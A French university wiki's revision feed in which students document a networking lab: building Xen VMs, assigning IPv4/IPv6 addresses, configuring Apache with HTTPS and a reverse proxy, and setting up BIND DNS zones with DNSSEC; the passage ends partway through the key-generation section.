==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12115</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12115"/>
		<updated>2026-02-07T17:51:52Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Activation du port HTTPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
